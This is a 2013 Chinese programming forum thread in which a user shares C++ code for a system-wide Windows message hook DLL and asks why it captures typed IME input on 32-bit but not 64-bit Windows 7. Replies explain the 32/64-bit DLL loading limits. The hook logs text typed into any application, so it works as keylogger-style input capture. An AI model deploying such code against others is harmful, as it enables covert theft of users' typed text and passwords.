跪求帮忙,高手进来看看...

yusong1987 2013-07-11 08:02:44
WH_GETMESSAGE类型全局钩子在WIN7的64位系统上无法截获记事本输入消息,也无法截获记事本任何消息包括控制台程序以及文件重命名的输入,但是在WIN7的32位系统上都能截获,这就奇怪了,我查看了2个系统的IMM32.DLL,32位系统上是115K,64位系统上是167K,大小都不一样,由此怀疑是不是库的问题,因为我WINDOWS SDK 更新到 V7.0 ,但是不敢肯定是这个导致的。

有木有高手可以讲解一下,我会继续试验,希望大虾帮忙,先谢谢!

钩子代码放在DLL中,如下:

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
g_hHinstance = (HINSTANCE)hModule;
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{
PMSG pmsg = (PMSG)lParam;
if (nCode == HC_ACTION || nCode == HC_NOREMOVE)
{
switch (pmsg->message)
{
case WM_IME_COMPOSITION:
{
if(pmsg->lParam & GCS_RESULTSTR)
{
HIMC hIMC = NULL;
HWND hWnd = pmsg->hwnd;
DWORD dwSize = 0;
if (hWnd)
{
hIMC = ImmGetContext(hWnd);
if (hIMC)
{
//////////////////////////////////////////////////////////////////////////
dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);
dwSize += sizeof(WCHAR);
memset(lpstr, 0, 20);
ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);

strcat(lpstr," --- From WM_IME_COMPOSITION");
writefile(lpstr);
}
ImmReleaseContext(hWnd, hIMC);
}
}
}
break;
case WM_IME_NOTIFY:
{
memset(lpCandStr,0,256);
if (pmsg->wParam & IMN_CHANGECANDIDATE)
{
DWORD dwSize = 0;
HIMC hIMC = NULL;
HWND hWnd = pmsg->hwnd;
CANDIDATELIST* stCandList = NULL;
if(hWnd)
{
hIMC = ImmGetContext(hWnd);
if (hIMC)
{
dwSize = ImmGetCandidateList(hIMC,0,NULL,0);
dwSize += sizeof(WCHAR);
stCandList = (CANDIDATELIST*)new BYTE[dwSize];
memset(stCandList,0,dwSize);

ImmGetCandidateList(hIMC,0,stCandList,dwSize);

strcat(lpCandStr,GETLPCANDSTR(stCandList,stCandList->dwSelection));
SendTxt(lpCandStr);
delete []stCandList;
}
ImmReleaseContext(hWnd, hIMC);
}
}

}
break;
default:
break;
}
}
LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);
return(lResult);
}

DLL_OBJECT_API BOOL InstallHook(HWND hWnd)
{
hMsgWnd = hWnd;

g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);

if (NULL == g_hHook)
return FALSE;
return TRUE;
}

DLL 的头文件:

#pragma once

#ifdef DLL_OBJECT_EXPORTS

#define DLL_OBJECT_API __declspec(dllexport)

#else

#define DLL_OBJECT_API __declspec(dllimport)

#endif

DLL_OBJECT_API BOOL InstallHook(HWND hWnd);

DLL_OBJECT_API BOOL UnHook();

#define WM_SENDTXT WM_USER + 1001


调用的代码 如下:

#include "IME_HookDLL.h"
#pragma comment(lib,"IME_HookDLL.lib")


BOOL bFlag = InstallHook(m_hWnd);

...全文
143 点赞 收藏 12
写回复
12 条回复
切换为时间正序
当前发帖距今超过3年,不再开放新的回复
发表回复
yusong1987 2013-07-15
引用 11 楼 adlay 的回复:
[quote=引用 10 楼 yusong1987 的回复:] [quote=引用 9 楼 adlay 的回复:] [quote=引用 8 楼 yusong1987 的回复:] [quote=引用 7 楼 adlay 的回复:] [quote=引用 6 楼 yusong1987 的回复:] [quote=引用 5 楼 adlay 的回复:] 程序本身是可以运行, 但是你的 32 位 dll 是无法注入到 64 位的记事本进程中的. XP 下的记事本程序也是 32 位的, 自然没问题.
那我应该怎么做呢,需要把DLL 做成64位的么? IMM32用的是系统的。 难道要做2个不同的DLL?[/quote] 是的, 你要做 32 位和 64 位两个版本的 dll. 操作系统的 dll 都是同时提供者两个版本的.[/quote] 可以简单告诉我下 ,该怎么做64位DLL么 ?如何知道DLL是64位的? 谢谢了 [/quote] 看这个吧: http://www.usidcbbs.com/read-htm-tid-5247.html[/quote] 问题解决了,后来我自己编译了64位DLL,然后挂全局钩子,结果只能截获64位应用程序,如QQ 32位应用就无法截获了 这样子的话 我还得判断应用是32 还是 64的,然后还得挂2次全局钩子哦.. 有更好的解决办法么? 求指教,求帮助...各种求啊。 下面是 编译64位 32位DLL的做法: http://blog.sina.com.cn/s/blog_6e0693f70100t6ip.html[/quote] 网上找一个判断进程是 32 位还是 64 位的函数来先判断一下撒.[/quote] 可是我是全局钩子啊,32和64位应用都想截获呢。。 有木有好的办法? 不然就得挂2个DLL了..
回复
www_adintr_com 2013-07-12
引用 6 楼 yusong1987 的回复:
[quote=引用 5 楼 adlay 的回复:] 程序本身是可以运行, 但是你的 32 位 dll 是无法注入到 64 位的记事本进程中的. XP 下的记事本程序也是 32 位的, 自然没问题.
那我应该怎么做呢,需要把DLL 做成64位的么? IMM32用的是系统的。 难道要做2个不同的DLL?[/quote] 是的, 你要做 32 位和 64 位两个版本的 dll. 操作系统的 dll 都是同时提供者两个版本的.
回复
yusong1987 2013-07-12
引用 5 楼 adlay 的回复:
程序本身是可以运行, 但是你的 32 位 dll 是无法注入到 64 位的记事本进程中的. XP 下的记事本程序也是 32 位的, 自然没问题.
那我应该怎么做呢,需要把DLL 做成64位的么? IMM32用的是系统的。 难道要做2个不同的DLL?
回复
www_adintr_com 2013-07-12
程序本身是可以运行, 但是你的 32 位 dll 是无法注入到 64 位的记事本进程中的. XP 下的记事本程序也是 32 位的, 自然没问题.
回复
yusong1987 2013-07-12
引用 2 楼 zhao4zhong1 的回复:
在64位Windows下: 64位dll在目录c:\windows\system32目录下; 32位dll在目录c:\windows\syswow64目录下;
引用 3 楼 adlay 的回复:
64 位系统下的系统的程序都做成 64 位的了. 如果你的程序还是 32 为的话就不行了. 虽然 64 位系统下允许同时运行 32 位和 64 位的程序, 但是, 64 位的进程无法加载 32 位的 dll 32 位的进程无法加载 64 位的 dll
但是我的程序在2个系统下都能运行,运行的结果却不一样呢? 始终不知道为什么 而且在XP下,记事本也是能截获到消息的,只是得到的内容乱码而已。
回复
www_adintr_com 2013-07-12
64 位系统下的系统的程序都做成 64 位的了. 如果你的程序还是 32 为的话就不行了. 虽然 64 位系统下允许同时运行 32 位和 64 位的程序, 但是, 64 位的进程无法加载 32 位的 dll 32 位的进程无法加载 64 位的 dll
回复
赵4老师 2013-07-12
在64位Windows下: 64位dll在目录c:\windows\system32目录下; 32位dll在目录c:\windows\syswow64目录下;
回复
yusong1987 2013-07-12
怎么没一个人帮忙看看呢。。 自己先顶!
回复
www_adintr_com 2013-07-12
引用 10 楼 yusong1987 的回复:
[quote=引用 9 楼 adlay 的回复:] [quote=引用 8 楼 yusong1987 的回复:] [quote=引用 7 楼 adlay 的回复:] [quote=引用 6 楼 yusong1987 的回复:] [quote=引用 5 楼 adlay 的回复:] 程序本身是可以运行, 但是你的 32 位 dll 是无法注入到 64 位的记事本进程中的. XP 下的记事本程序也是 32 位的, 自然没问题.
那我应该怎么做呢,需要把DLL 做成64位的么? IMM32用的是系统的。 难道要做2个不同的DLL?[/quote] 是的, 你要做 32 位和 64 位两个版本的 dll. 操作系统的 dll 都是同时提供者两个版本的.[/quote] 可以简单告诉我下 ,该怎么做64位DLL么 ?如何知道DLL是64位的? 谢谢了 [/quote] 看这个吧: http://www.usidcbbs.com/read-htm-tid-5247.html[/quote] 问题解决了,后来我自己编译了64位DLL,然后挂全局钩子,结果只能截获64位应用程序,如QQ 32位应用就无法截获了 这样子的话 我还得判断应用是32 还是 64的,然后还得挂2次全局钩子哦.. 有更好的解决办法么? 求指教,求帮助...各种求啊。 下面是 编译64位 32位DLL的做法: http://blog.sina.com.cn/s/blog_6e0693f70100t6ip.html[/quote] 网上找一个判断进程是 32 位还是 64 位的函数来先判断一下撒.
回复
yusong1987 2013-07-12
引用 9 楼 adlay 的回复:
[quote=引用 8 楼 yusong1987 的回复:] [quote=引用 7 楼 adlay 的回复:] [quote=引用 6 楼 yusong1987 的回复:] [quote=引用 5 楼 adlay 的回复:] 程序本身是可以运行, 但是你的 32 位 dll 是无法注入到 64 位的记事本进程中的. XP 下的记事本程序也是 32 位的, 自然没问题.
那我应该怎么做呢,需要把DLL 做成64位的么? IMM32用的是系统的。 难道要做2个不同的DLL?[/quote] 是的, 你要做 32 位和 64 位两个版本的 dll. 操作系统的 dll 都是同时提供者两个版本的.[/quote] 可以简单告诉我下 ,该怎么做64位DLL么 ?如何知道DLL是64位的? 谢谢了 [/quote] 看这个吧: http://www.usidcbbs.com/read-htm-tid-5247.html[/quote] 问题解决了,后来我自己编译了64位DLL,然后挂全局钩子,结果只能截获64位应用程序,如QQ 32位应用就无法截获了 这样子的话 我还得判断应用是32 还是 64的,然后还得挂2次全局钩子哦.. 有更好的解决办法么? 求指教,求帮助...各种求啊。 下面是 编译64位 32位DLL的做法: http://blog.sina.com.cn/s/blog_6e0693f70100t6ip.html
回复
www_adintr_com 2013-07-12
引用 8 楼 yusong1987 的回复:
[quote=引用 7 楼 adlay 的回复:] [quote=引用 6 楼 yusong1987 的回复:] [quote=引用 5 楼 adlay 的回复:] 程序本身是可以运行, 但是你的 32 位 dll 是无法注入到 64 位的记事本进程中的. XP 下的记事本程序也是 32 位的, 自然没问题.
那我应该怎么做呢,需要把DLL 做成64位的么? IMM32用的是系统的。 难道要做2个不同的DLL?[/quote] 是的, 你要做 32 位和 64 位两个版本的 dll. 操作系统的 dll 都是同时提供者两个版本的.[/quote] 可以简单告诉我下 ,该怎么做64位DLL么 ?如何知道DLL是64位的? 谢谢了 [/quote] 看这个吧: http://www.usidcbbs.com/read-htm-tid-5247.html
回复
yusong1987 2013-07-12
引用 7 楼 adlay 的回复:
[quote=引用 6 楼 yusong1987 的回复:] [quote=引用 5 楼 adlay 的回复:] 程序本身是可以运行, 但是你的 32 位 dll 是无法注入到 64 位的记事本进程中的. XP 下的记事本程序也是 32 位的, 自然没问题.
那我应该怎么做呢,需要把DLL 做成64位的么? IMM32用的是系统的。 难道要做2个不同的DLL?[/quote] 是的, 你要做 32 位和 64 位两个版本的 dll. 操作系统的 dll 都是同时提供者两个版本的.[/quote] 可以简单告诉我下 ,该怎么做64位DLL么 ?如何知道DLL是64位的? 谢谢了
回复
相关推荐
发帖
C++ 语言
创建于2007-09-28

6.0w+

社区成员

C++ 语言相关问题讨论,技术干货分享,前沿动态等
申请成为版主
帖子事件
创建了帖子
2013-07-11 08:02
社区公告
暂无公告